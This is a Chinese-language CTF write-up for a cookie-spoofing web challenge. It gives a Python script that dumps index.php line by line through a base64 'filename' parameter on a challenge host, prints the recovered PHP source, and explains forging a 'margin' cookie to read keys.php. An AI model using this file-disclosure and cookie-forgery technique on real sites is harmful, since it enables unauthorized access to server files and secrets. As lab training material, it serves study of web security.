解题思路:
- 打开链接,发现是一串无意义的字符串
- 观察url,发现filename的值为base64编码格式,解码为keys.txt,line应该表示行,基于此,可通过改变line的值并将filename值改为index.php(记得转为base64格式),查看该文件的代码。
当line=1时
当line=2时
可通过python脚本将该文件内容打印出来
import requests
a=25 #表示index.php文件的代码行数
for i in range(a):
url="http://114.67.246.176:13625/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print(s.text)
结果为:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
联系题目描述,发现当cookie值为margin时显示keys.php内容
- 可用hackbar提交cookie(记得修改filename值为keys.php的base64编码)
- 也可通过burpsuite抓包,修改Cookie属性值
- 结果为空白页,查看源码即可得到flag。
小结
cookie欺骗类题目,首先要发现cookie,然后才能利用发现的cookie通过burpsuite等工具进行欺骗。
cookie发现:对于隐藏在文件中的cookie,要想办法打印出该文件